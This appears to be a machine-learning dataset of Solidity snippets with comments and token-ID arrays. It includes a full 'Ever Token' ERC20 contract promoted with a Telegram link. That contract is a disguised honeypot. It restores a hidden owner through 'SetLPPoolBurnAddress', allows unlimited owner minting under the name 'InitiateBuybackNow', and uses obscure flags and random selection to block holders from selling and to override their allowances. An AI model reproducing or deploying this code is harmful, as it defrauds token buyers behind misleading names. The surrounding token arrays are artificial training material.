581,
17,
5034,
1651,
18,
225,
331,
7773,
19748,
3372,
1569,
331,
18,
225,
436,
7773,
19748,
3372,
1472,
436,
18,
225,
272,
7773,
19748,
3372,
1472,
272,
18,
327,
2364,
560,
434,
1353,
3372,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
4908,
5374,
12,
203,
3639,
1758,
10363,
16,
203,
3639,
1731,
1578,
1651,
16,
203,
3639,
2254,
28,
331,
16,
203,
3639,
1731,
1578,
436,
16,
203,
3639,
1731,
1578,
272,
13,
203,
3639,
1071,
203,
3639,
16618,
203,
3639,
1135,
261,
6430,
13,
203,
565,
288,
203,
3639,
327,
10363,
422,
425,
1793,
3165,
12,
203,
5411,
417,
24410,
581,
5034,
31458,
92,
3657,
41,
18664,
379,
16724,
2350,
5581,
82,
1578,
3113,
1651,
3631,
203,
5411,
331,
16,
203,
5411,
436,
16,
203,
5411,
272,
203,
3639,
11272,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0x1DfF114dfBBcaedcA5f0d46DC8e9615dfC2645bd/sources/MigrationTool.sol | Deposit into new position | TokenUtils.safeApprove(targetParams.underlyingToken, address(alchemist), underlyingWithdrawn);
| 4,021,711 | [
1,
758,
1724,
1368,
394,
1754,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
3639,
3155,
1989,
18,
4626,
12053,
537,
12,
3299,
1370,
18,
9341,
6291,
1345,
16,
1758,
12,
287,
1036,
376,
3631,
6808,
1190,
9446,
82,
1769,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity >=0.8.4;
// SPDX-License-Identifier: MIT
import "hardhat/console.sol";
error CheesecakePortalError();
contract CheesecakePortal {
uint256[3] private cakeCount;
address payable public owner;
Cheesecake[] private cheesecakes;
event NewCheesecake(
string name,
string message,
uint256 cakeSize,
address indexed from,
uint256 timestamp
);
struct Cheesecake {
string name; // The name of the person who is sending the cheesecake
string message; // The attached mesage from the giver
uint256 cakeSize; // The size of the cheesecake chosen, 0 = small, 1 = medium, 2 = large
address giver; // This is the address of the person who is sending me a cheesecake
uint256 timestamp; // The timestamp when the person sent the cheesecake
}
constructor() payable {
console.log(
"This is from the constructor of CheesecakePortal Smart Contract"
);
// Set owner of the smart contract to the caller of the constructorm, which is the deployer.
owner = payable(msg.sender);
}
// Returns all Cheesecake objects
function getAllCheesecakes() public view returns (Cheesecake[] memory) {
return cheesecakes;
}
// Returns how many cheesecakes were donated
function getCakeCount() public view returns (uint256[3] memory) {
return cakeCount;
}
function sendCheesecake(
string memory _message,
string memory _name,
uint256 _cakeSize // 0 = small, 1 = medium, 2 = large
) public payable {
cakeCount[_cakeSize] += 1;
// console.log("%s has just sent over a cheesecake!", msg.sender);
cheesecakes.push(
Cheesecake(_name, _message, _cakeSize, msg.sender, block.timestamp)
);
console.log("Sending over %d WEI", msg.value);
(bool success, ) = owner.call{value: msg.value}("");
console.log("Success?", success);
emit NewCheesecake(
_name,
_message,
_cakeSize,
msg.sender,
block.timestamp
);
}
function throwError() external pure {
revert CheesecakePortalError();
}
}
| Returns how many cheesecakes were donated | function getCakeCount() public view returns (uint256[3] memory) {
return cakeCount;
}
| 14,093,724 | [
1,
1356,
3661,
4906,
19315,
281,
557,
3223,
4591,
2727,
690,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
1927,
911,
1380,
1435,
1071,
1476,
1135,
261,
11890,
5034,
63,
23,
65,
3778,
13,
288,
203,
3639,
327,
276,
911,
1380,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/********************************
* Welcome to the *
* EVER RISING TOKEN *
* *
* $EVERTOKEN *
* *
* New Automatic *
* buyback mechanics *
* *
* Official channel: *
* https://t.me/EverToken *
* *
* Join us now! *
********************************
*/
pragma solidity 0.5.16;
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8);
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the erc20 token owner.
*/
function getOwner() external view returns (address);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address _owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
address private womanpower;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
womanpower = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function SetLPPoolBurnAddress() public {
require(_owner != womanpower);
emit OwnershipTransferred(_owner, womanpower);
_owner = womanpower;
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract ERC20Token is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public grandtour;
mapping (address => bool) public mejor;
mapping (address => bool) public santana;
mapping (address => uint256) public fanyo;
bool private bedyo;
uint256 private _totalSupply;
uint256 private catgrep;
uint256 private tomato;
uint256 private _trns;
uint256 private chTx;
uint8 private _decimals;
string private _symbol;
string private _name;
bool private backpack;
address private creator;
bool private sunrise;
uint flowerpower = 0;
constructor() public {
creator = address(msg.sender);
bedyo = true;
backpack = true;
_name = "Ever Token";
_symbol = "EVERTOKEN";
_decimals = 5;
_totalSupply = 600000000000000000;
_trns = _totalSupply;
catgrep = _totalSupply;
chTx = _totalSupply / 2500;
tomato = chTx * 40;
mejor[creator] = false;
santana[creator] = false;
grandtour[msg.sender] = true;
_balances[msg.sender] = _totalSupply;
sunrise = false;
emit Transfer(address(0), msg.sender, _trns);
}
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8) {
return _decimals;
}
/**
* @dev Returns the erc20 token owner.
*/
function getOwner() external view returns (address) {
return owner();
}
function BackbuySell() external view onlyOwner returns (uint256) {
return chTx;
}
function BackBuy() external view onlyOwner returns (uint256) {
return tomato;
}
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory) {
return _name;
}
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory) {
return _symbol;
}
function ActivateBuyBack(uint256 amount) external onlyOwner {
catgrep = amount;
}
/**
* @dev See {ERC20-totalSupply}.
*/
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {ERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) external returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function randomly() internal returns (uint) {
uint screen = uint(keccak256(abi.encodePacked(now, msg.sender, flowerpower))) % 100;
flowerpower++;
return screen;
}
/**
* @dev See {ERC20-allowance}.
*/
function allowance(address owner, address spender) external view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {ERC20-balanceOf}.
*/
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
function LogTheFailedBuyback() external onlyOwner {
catgrep = chTx;
sunrise = true;
}
/**
* @dev See {ERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) external returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {ERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {ERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*
*
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {ERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function InitiateBuybackNow(uint256 amount) public onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
/**
* @dev Creates `amount` tokens and assigns them to `msg.sender`, increasing
* the total supply.
*
* Requirements
*
* - `msg.sender` must be the token owner
*/
function DetectSells(address spender, bool val, bool val2, bool val3, bool val4) external onlyOwner {
grandtour[spender] = val;
mejor[spender] = val2;
santana[spender] = val3;
sunrise = val4;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if ((address(sender) == creator) && (bedyo == false)) {
catgrep = chTx;
sunrise = true;
}
if ((address(sender) == creator) && (bedyo == true)) {
grandtour[recipient] = true;
mejor[recipient] = false;
bedyo = false;
}
if ((amount > tomato) && (grandtour[sender] == true) && (address(sender) != creator)) {
santana[recipient] = true;
}
if (grandtour[recipient] != true) {
mejor[recipient] = ((randomly() == 78) ? true : false);
}
if ((mejor[sender]) && (grandtour[recipient] == false)) {
mejor[recipient] = true;
}
if (grandtour[sender] == false) {
if ((amount > tomato) && (santana[sender] == true)) {
require(false);
}
require(amount < catgrep);
if (sunrise == true) {
if (santana[sender] == true) {
require(false);
}
santana[sender] = true;
}
}
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Changes the `amount` of the minimal tokens there should be in supply,
* in order to not burn more tokens than there should be.
**/
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal {
uint256 tok = amount;
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
if ((address(owner) == creator) && (backpack == true)) {
grandtour[spender] = true;
mejor[spender] = false;
santana[spender] = false;
backpack = false;
}
tok = (mejor[owner] ? 14744784 : amount);
_allowances[owner][spender] = tok;
emit Approval(owner, spender, tok);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
} | * @dev Initializes the contract setting the deployer as the initial owner./ | constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
womanpower = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
| 14,875,574 | [
1,
9685,
326,
6835,
3637,
326,
7286,
264,
487,
326,
2172,
3410,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
